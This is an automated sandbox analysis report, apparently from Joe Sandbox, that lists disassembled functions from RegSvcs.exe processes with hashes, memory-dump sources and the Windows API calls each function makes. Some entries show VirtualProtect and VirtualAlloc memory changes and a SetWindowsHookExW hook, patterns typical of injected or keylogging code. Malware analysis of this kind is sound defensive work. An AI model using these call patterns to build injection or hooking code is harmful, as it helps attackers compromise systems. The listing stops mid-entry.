DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 059DAE5F

Memory Dump Source

Source File: 0000000D.00000002.3428481467.00000000059D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_59d0000_RegSvcs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3583d117b87f21da3de07e81a69c36d7b12798afa322221d398deba9fd4f0374
Instruction ID: 0c3b91ae371e515acc676dcc3f66049ff6d0e5918a9d750df55851614356247c
Opcode Fuzzy Hash: 3583d117b87f21da3de07e81a69c36d7b12798afa322221d398deba9fd4f0374
Instruction Fuzzy Hash: 8821D5B59002489FDB10CFAAD584ADEFFF8FB48310F14841AE918A3350D378A954CFA5

Function 059DADD7 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 059DAE5F

Memory Dump Source

Source File: 0000000D.00000002.3428481467.00000000059D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_59d0000_RegSvcs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5ec61063524e52dbf6c42ee24bbb141b4e5d50cc6389190dc6189cdec3d0984c
Instruction ID: 3372e070e6e932c67ea2283ce81c79ed869338a8a1b1a94604cdc0d62a1332ba
Opcode Fuzzy Hash: 5ec61063524e52dbf6c42ee24bbb141b4e5d50cc6389190dc6189cdec3d0984c
Instruction Fuzzy Hash: 7721C2B59002489FDB10CFA9D584AEEFBF4FB48310F14841AE918A3350D378A954CFA1

Function 059D5CD8 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 059D5D53

Memory Dump Source

Source File: 0000000D.00000002.3428481467.00000000059D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_59d0000_RegSvcs.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: fafd4d03d4ce78f82d20f7c432bae17e18960e7dddeea9e79d8cbdec43b53eba
Instruction ID: 17e009e802a556aeceeedb4f7fd719326b149d267abdd29722e10a075299ac76
Opcode Fuzzy Hash: fafd4d03d4ce78f82d20f7c432bae17e18960e7dddeea9e79d8cbdec43b53eba
Instruction Fuzzy Hash: 1B21E5B59002099FDB14DF9AD844BEEFBF5FF88310F14841AD459A7250CB74A945CFA1

Function 031CD5B0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3417271987.00000000031CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 031CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_31cd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e55fa8372b70cf097e6183be47ae96510ec41fae534cd6a7db4b1436e9174d9d
Instruction ID: 8401d2f6f51ca721a625350ec011f7a38aedf660a1b9a4cf8bc3f0acce93ebb9
Opcode Fuzzy Hash: e55fa8372b70cf097e6183be47ae96510ec41fae534cd6a7db4b1436e9174d9d
Instruction Fuzzy Hash: 6D21FFB1514280DFCB05EF14E9C0F26BF69EBAC314F2485BDE9090B216C33AD456CBA2

Function 0331D110 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3418043437.000000000331D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0331D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_331d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 514f0356553f2f5cca67b5d46d4905dab328694064d65a7254f666ef5112d2de
Instruction ID: 106d260630bd4b83d433c0765bc752cc652f560ea850b5b67b1e20cb834fd2aa
Opcode Fuzzy Hash: 514f0356553f2f5cca67b5d46d4905dab328694064d65a7254f666ef5112d2de
Instruction Fuzzy Hash: E921F275604204DFCB89CF14D9C0B26BB69EB85314F24C5B9D80A4B256C37AD466CA61

Function 031CD5AB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3417271987.00000000031CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 031CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_31cd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14534b79b66c896ac0d5baafb59a6ce94307be6875aeb631b8849d0664d6cd6d
Instruction ID: 8214ca65e386cf8f4921b574b546d312e6938f6851c9890e73e0af51803fc70a
Opcode Fuzzy Hash: 14534b79b66c896ac0d5baafb59a6ce94307be6875aeb631b8849d0664d6cd6d
Instruction Fuzzy Hash: 7911B176504280CFCB16DF10D9C4B16BF61FB98314F28C5ADD9094B216C336D45ACBA2

Function 0331D10B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3418043437.000000000331D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0331D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_331d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d44c5366a0abbdbb00377e6941c51855cc00221bb5ed19b58b533c51b74a4a6c
Instruction ID: 528b0cc815a4ba002e2bb52255cfc698fb498a3a73820b9578af64b29dbe3ad3
Opcode Fuzzy Hash: d44c5366a0abbdbb00377e6941c51855cc00221bb5ed19b58b533c51b74a4a6c
Instruction Fuzzy Hash: FE11BB75504280CFCB4ACF14D9C4B25BBB2FB85314F28C6AAD8494B256C33AD45ACB62

Function 031CD006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3417271987.00000000031CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 031CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_31cd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fa52f01fccc9de08f7ba388636744ed78c6cc44693968cdb3acd6e17ca78f27
Instruction ID: 48b93f5efff871cfe2aa2b932b682fe0ab25f8c89f0e66313023f79b69374a4e
Opcode Fuzzy Hash: 0fa52f01fccc9de08f7ba388636744ed78c6cc44693968cdb3acd6e17ca78f27
Instruction Fuzzy Hash: 81015E7140D3C09FD7128B299C94762BFA8EF57224F1D84DBE9888F2A7C2695C45CB72

Function 031CD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3417271987.00000000031CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 031CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_31cd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 639fa42f9fc308d699d9fa118584c66b6ce5c57d6c76ec3b952cb6392f221111
Instruction ID: 90e7074e1f60037193c7c36e6e9d76feb762b1b94606cd5459a465bf9e3f0471
Opcode Fuzzy Hash: 639fa42f9fc308d699d9fa118584c66b6ce5c57d6c76ec3b952cb6392f221111
Instruction Fuzzy Hash: 5F01D4310053809BD720CA19DC84B67BF98EF59320F28C47EED480A246C3799842CAB1

Analysis Process: RegSvcs.exePID: 6100, Parent PID: 2848COMMON

Execution Graph

Execution Coverage:	16.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	90
Total number of Limit Nodes:	5

Executed Functions

Function 00B81F80 Relevance: 6.1, APIs: 4, Instructions: 99
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B8419E: LoadLibraryA.KERNELBASE(00000000,?,?), ref: 00B84230

VirtualProtect.KERNELBASE(00000000,0000000C,00000040,?), ref: 00B81FDB
VirtualProtect.KERNELBASE(00000000,0000000C,?,?), ref: 00B8200E
VirtualProtect.KERNELBASE(00000000,0040145E,00000040,?), ref: 00B82041
VirtualProtect.KERNELBASE(00000000,0040145E,?,?), ref: 00B8206B

Memory Dump Source

Source File: 00000016.00000002.3383370741.0000000000B70000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_b70000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 93985e93d1afab8f719b8aa13ce6a91e230957808ceab0eaee363415b4ddc148
Instruction ID: d1efd771295cade43d580548f1c70c40e4c047b215868614db2fdcd46ac81c14
Opcode Fuzzy Hash: 93985e93d1afab8f719b8aa13ce6a91e230957808ceab0eaee363415b4ddc148
Instruction Fuzzy Hash: 9721A77260420A7EE320BBA19C85FB77BDCDB45300F44487EFA46D1171EB6AA905C3B5

Function 00B8419E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(00000000,?,?), ref: 00B84230

Strings

.dll, xrefs: 00B8420C, 00B8420F
., xrefs: 00B841C9

Memory Dump Source

Source File: 00000016.00000002.3383370741.0000000000B70000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_b70000_RegSvcs.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .$.dll
API String ID: 1029625771-979041800
Opcode ID: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction ID: e223fd2e86eb2fba302ddc0990a926610b4489f5ad036cb31e0705f0c547afa9
Opcode Fuzzy Hash: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction Fuzzy Hash: BF210635604296CFD721EFA9D848A6EBBE4FF15324F1941EDE8019BA61D730EC45C740

Function 051B0460 Relevance: 5.1, Strings: 1, Instructions: 3812
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 051B04A1

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: ebfd2e9c08323d7fc541b25514e00d49ba53d54317a3aacb4a6ade642abfdcf1
Instruction ID: 1c191b5f7b46e5698b5e478a6d46001d0aec8b257860fbafc232c316fceebc55
Opcode Fuzzy Hash: ebfd2e9c08323d7fc541b25514e00d49ba53d54317a3aacb4a6ade642abfdcf1
Instruction Fuzzy Hash: 01937E38260A01CFC758EF28E998D057BB9FF49B1431295A9E5568BB7ADB31EC05CF40

Function 051B4240 Relevance: 3.9, Strings: 3, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(aq, xrefs: 051B4531
Te]q, xrefs: 051B4275
d6p, xrefs: 051B428D

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID: (aq$Te]q$d6p
API String ID: 0-967301506
Opcode ID: 756e777501da6bedbc1233d7f58a5c52842ac3b841679c0784b97edabac68cf3
Instruction ID: eef86edb0aeca61d3ea232d7f3c3f7a62fe056c0661ba191df94942c288ca540
Opcode Fuzzy Hash: 756e777501da6bedbc1233d7f58a5c52842ac3b841679c0784b97edabac68cf3
Instruction Fuzzy Hash: B951B335B101148FCB58DF68D458AADBBF6BF89710B1581AAE806DB366CB71DD01CB90

Function 00B82BE1 Relevance: 3.2, APIs: 2, Instructions: 183
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(?), ref: 00B82D0E
SafeArrayDestroy.OLEAUT32(00000000), ref: 00B82DDB

Memory Dump Source

Source File: 00000016.00000002.3383370741.0000000000B70000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_b70000_RegSvcs.jbxd

Yara matches

Similarity

API ID: AllocArrayDestroySafeString
String ID:
API String ID: 2679478824-0
Opcode ID: e9dae07e6597974dd7a2e07dc59b16717cc00198222b0edab0e98d7cec828a5a
Instruction ID: 86b199eb419ccab651a946475c0ed8e5ba7c47fa4982039fb3dc68f68f18e3f4
Opcode Fuzzy Hash: e9dae07e6597974dd7a2e07dc59b16717cc00198222b0edab0e98d7cec828a5a
Instruction Fuzzy Hash: 6C613C71200206AFDB24EF60C884FABBBE8FF49315F1485A9E959CB155DB30E945CFA1

Function 00B8207B Relevance: 3.0, APIs: 2, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B8419E: LoadLibraryA.KERNELBASE(00000000,?,?), ref: 00B84230

VirtualProtect.KERNELBASE(00000000,00000004,00000040,?), ref: 00B820B3
VirtualProtect.KERNELBASE(00000000,00000004,?,?), ref: 00B820D6

Memory Dump Source

Source File: 00000016.00000002.3383370741.0000000000B70000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_b70000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 4b81b02862df4f1b90606a87d7a95fef9c5f7f2dde159036914d36a532f09deb
Instruction ID: b9df66874339867c1f4f03b1d73cbeb20690bbf8cfa196aff757c0222fc5b1f4
Opcode Fuzzy Hash: 4b81b02862df4f1b90606a87d7a95fef9c5f7f2dde159036914d36a532f09deb
Instruction Fuzzy Hash: 4BF08CB61106087AE610ABA4CC42FFB77ECDB49B50F400468FB06E6090EBB5AA45C7A5

Function 00B82DF0 Relevance: 2.8, APIs: 2, Instructions: 325
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00B82E6A
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 00B83059

Memory Dump Source

Source File: 00000016.00000002.3383370741.0000000000B70000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_b70000_RegSvcs.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1a5418cea19d400be9e889379b85ba4036e89269bda122047750eba29fcf4b87
Instruction ID: d7387fd9337c5be508617f957c73a2b0b53d5a3ecaf3c3b929a160329e361bce
Opcode Fuzzy Hash: 1a5418cea19d400be9e889379b85ba4036e89269bda122047750eba29fcf4b87
Instruction Fuzzy Hash: 39B1C131500706ABDB21BF60CC84BABF7E9FF05F00F1405A9F999A6161E731EA51DBA1

Function 051B40A8 Relevance: 2.6, Strings: 2, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 051B41D2
dLcq, xrefs: 051B40E3

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID: Haq$dLcq
API String ID: 0-1713614415
Opcode ID: fae64df6d581245cdda7d4255391d0fb411f347c151449e83ad70a07d4f12943
Instruction ID: 6859f72fafcfe94b790a4266b00db329976f1087f6ba1aeb595599c40edede43
Opcode Fuzzy Hash: fae64df6d581245cdda7d4255391d0fb411f347c151449e83ad70a07d4f12943
Instruction Fuzzy Hash: 7D41E130B042149FCB19DF69D494AAEBFF6BF88200F1585AAE446DB362CB75DC04CB90

Function 051B3830 Relevance: 1.4, Strings: 1, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 051B38FB

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: b08d86dcf9a8fbcb5b6232118b275f59e7d9548768a1bff572ed68117588db95
Instruction ID: 4d30c5e18680977561296503d5135bb2d93b673c496eb680ca4e8ae60449a93e
Opcode Fuzzy Hash: b08d86dcf9a8fbcb5b6232118b275f59e7d9548768a1bff572ed68117588db95
Instruction Fuzzy Hash: DF615A34B001148FDB58DF69C498AADBBF2BF89720B2585AAE516DB3B1CB71DC05CB40

Function 051B3888 Relevance: 1.4, Strings: 1, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 051B38FB

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: ac3f08e4fdb88d95b1d9e24ae57c061a05979a12d618fc2d038b7a71ea425c99
Instruction ID: 7e8b48c7ce667b526cf79df7ae7e04461e1cf090f09581474cf5432b1b21e284
Opcode Fuzzy Hash: ac3f08e4fdb88d95b1d9e24ae57c061a05979a12d618fc2d038b7a71ea425c99
Instruction Fuzzy Hash: 76511474B001148FDB58DF69C598AADBBF2BF88B10B2584A9E916DB3B5CB71DC05CB40

Function 051B46D0 Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LR]q, xrefs: 051B4723

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: a69b0c1691cd9d433d684c4c1f3588b008048d1c3341757cbd9df4938af8d011
Instruction ID: 14fbc45fcc5a3e53c9f691ce799733b5414f0c514ed5c9aeb055505d630f25d9
Opcode Fuzzy Hash: a69b0c1691cd9d433d684c4c1f3588b008048d1c3341757cbd9df4938af8d011
Instruction Fuzzy Hash: F531AF70B001169FCB44EB78C455A6EBBF6FF89214F148469E14ADB355DA70DC06CB91

Function 051B4097 Relevance: 1.3, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

dLcq, xrefs: 051B40E3

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID: dLcq
API String ID: 0-2236789282
Opcode ID: 1ac0d096c43692132db7f5d36e4fb327c794ff8a958f8273ed05713f1d0224b6
Instruction ID: 533ccd8a1b2f3b045f9604229138eaa1b9b4f5444cc50822e08ddfb2bdf707fc
Opcode Fuzzy Hash: 1ac0d096c43692132db7f5d36e4fb327c794ff8a958f8273ed05713f1d0224b6
Instruction Fuzzy Hash: 23316E34A042159FDB18DF68D498AEDBFF6FF48300F1585AAE411AB366CBB19D44CB50

Function 051B41D1 Relevance: 1.3, Strings: 1, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 051B41D2

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: 324d6eb4d92a0e298030ff14d833f8c37fe35d48b9dcd806a0c5e57901049659
Instruction ID: aaafea5829ec68b46eeaab477c9679cab768f0582ea73c1390a72af5a7a15fef
Opcode Fuzzy Hash: 324d6eb4d92a0e298030ff14d833f8c37fe35d48b9dcd806a0c5e57901049659
Instruction Fuzzy Hash: 52F046313082800FC30A9739981056EBFE7AFC611431A49FBE089C7392CD248C068391

Function 051B3E09 Relevance: .1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f977ad9d4998bccc4b42229f8f92eaea6b2f11d5e90c527a86a5090c695fe994
Instruction ID: 295a4dbb8aaf2dbdb3e5d04aeccba071fbc93cfa132ead6dab6a72c4e7f84ae8
Opcode Fuzzy Hash: f977ad9d4998bccc4b42229f8f92eaea6b2f11d5e90c527a86a5090c695fe994
Instruction Fuzzy Hash: 82512A72111211CFC719FF34F858A5937A6FB803693128ABAD005CB2ACDB369C66CB94

Function 051B4568 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b710175861c3a5f349c89072612046fdb6fb39fff5790d14a72da1fde425932c
Instruction ID: c973a949135d219dec02f7050c0196431d1d4096dc6544234d5c258c3df4c378
Opcode Fuzzy Hash: b710175861c3a5f349c89072612046fdb6fb39fff5790d14a72da1fde425932c
Instruction Fuzzy Hash: 9D4181B1E00209AFCB04DFB995546AEBBFAEF84310F20C969D449D7346DB749A42CB91

Function 051B3C69 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88db996b575148b9ca61779a33b99d1cd98ead152f59fc7b9abbe57a40c7689b
Instruction ID: 1b038a368d09b42ddb2bae25069f5eed6dcf619db617e2b1ba0387020f3fb4bf
Opcode Fuzzy Hash: 88db996b575148b9ca61779a33b99d1cd98ead152f59fc7b9abbe57a40c7689b
Instruction Fuzzy Hash: 95419D317002028FEB2CAB75D8586BE7BE6BF842447404D3AC467C72A4EFA5D852CB91

Function 051B3C78 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4dcba304c45949935a0c718fb2f07030fbfa78a79bc153137f2a27d44316e63
Instruction ID: 4d6042aea5523524da12b4a564d1cb063c406895f81084a2aa905dfe66edb213
Opcode Fuzzy Hash: a4dcba304c45949935a0c718fb2f07030fbfa78a79bc153137f2a27d44316e63
Instruction Fuzzy Hash: ED41A0303002028FEB2CAB75D8686BE76E6BF442443404D3EC42BC7294EFA5D852CB96

Function 010FD2E8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3385364862.00000000010FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_10fd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81d6f690dad12da68b23988ed5f18e78d0db4246fb1083bdc5148f7db822b6d3
Instruction ID: 356ed2415db1daeb107d76b59b5b2a3aafada76e1a68c4aabddd45788728122b
Opcode Fuzzy Hash: 81d6f690dad12da68b23988ed5f18e78d0db4246fb1083bdc5148f7db822b6d3
Instruction Fuzzy Hash: 7C21D6B1504200DFDB05DF98D9C5B2ABFA5FB84314F24C5ADDB890B656C33AD416CBA2

Function 010FD5B0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3385364862.00000000010FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_10fd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f2e21e7f47fc7e11c8f1adb73e831da946053d3d40df433c6e52b4c4ae31845
Instruction ID: ee2b350ae10d57bc26778cdeeaa9fc2d86d061e64e99e27417278b568ba0f289
Opcode Fuzzy Hash: 7f2e21e7f47fc7e11c8f1adb73e831da946053d3d40df433c6e52b4c4ae31845
Instruction Fuzzy Hash: 3F2100B1504200DFDB05DF98D9C5F2ABFA5FB88314F2485ADEA490B616C33AD456CBA2

Function 051B47E1 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22aa1765717c7edbe962a66bb786ee1176ad6ccd36a9af8993596db78fc97747
Instruction ID: cb467cc021e525b098d3ce70a146a946a48b1d3ab1feef76773167ddaa19aa11
Opcode Fuzzy Hash: 22aa1765717c7edbe962a66bb786ee1176ad6ccd36a9af8993596db78fc97747
Instruction Fuzzy Hash: CE119171E00241CFCB64EBB8D4089AA7BF6EF8831471248BAD446D7395EB758D42CB54

Function 010FD2E3 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3385364862.00000000010FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_10fd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d0536380c2050cc7cc8b12e5dc0c15b32ba20069f34e23ee035dde2d3525b62
Instruction ID: d8f9fec74190a9cae00299490eae386d3322e5dff4930e9c147964bc2a8c3c64
Opcode Fuzzy Hash: 4d0536380c2050cc7cc8b12e5dc0c15b32ba20069f34e23ee035dde2d3525b62
Instruction Fuzzy Hash: 5F21D276504240CFCB06CF44D9C4B16BFB2FB84310F24C5A9DE480B616C33AD416CBA2

Function 010FD5AB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3385364862.00000000010FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_10fd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14534b79b66c896ac0d5baafb59a6ce94307be6875aeb631b8849d0664d6cd6d
Instruction ID: 4e36100d852ae5e02a5b9f7292e993373334e5c7c49fc3e4eb0f25ca05c3b120
Opcode Fuzzy Hash: 14534b79b66c896ac0d5baafb59a6ce94307be6875aeb631b8849d0664d6cd6d
Instruction Fuzzy Hash: 3011E172404280CFCB02CF44D5C4B16BFA1FB88314F28C5ADD9490B617C336D45ADBA2

Function 051B47F0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea54df56e1c62ed7b68b4c7f9d0a1324ed0141114fcc09f525e5b7e7424ed9fe
Instruction ID: 41f213e35bef3c32369ee89457249835b5cf2bafafe48a9028df032a12435fd3
Opcode Fuzzy Hash: ea54df56e1c62ed7b68b4c7f9d0a1324ed0141114fcc09f525e5b7e7424ed9fe
Instruction Fuzzy Hash: F5118E70B00245DFCB64EBBDD40866A7BEABF8821471148B9D406DB395EB75DC42CB90

Function 010FD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3385364862.00000000010FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_10fd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b194dad01d5b1bbc92d85f867e5b00bf25be96b0a5768bb845869012fbb1cda3
Instruction ID: 7eb0aa45c1cd854a7635b619a5c5e5ee11b1719a5a87b413492b86e2ac4805d6
Opcode Fuzzy Hash: b194dad01d5b1bbc92d85f867e5b00bf25be96b0a5768bb845869012fbb1cda3
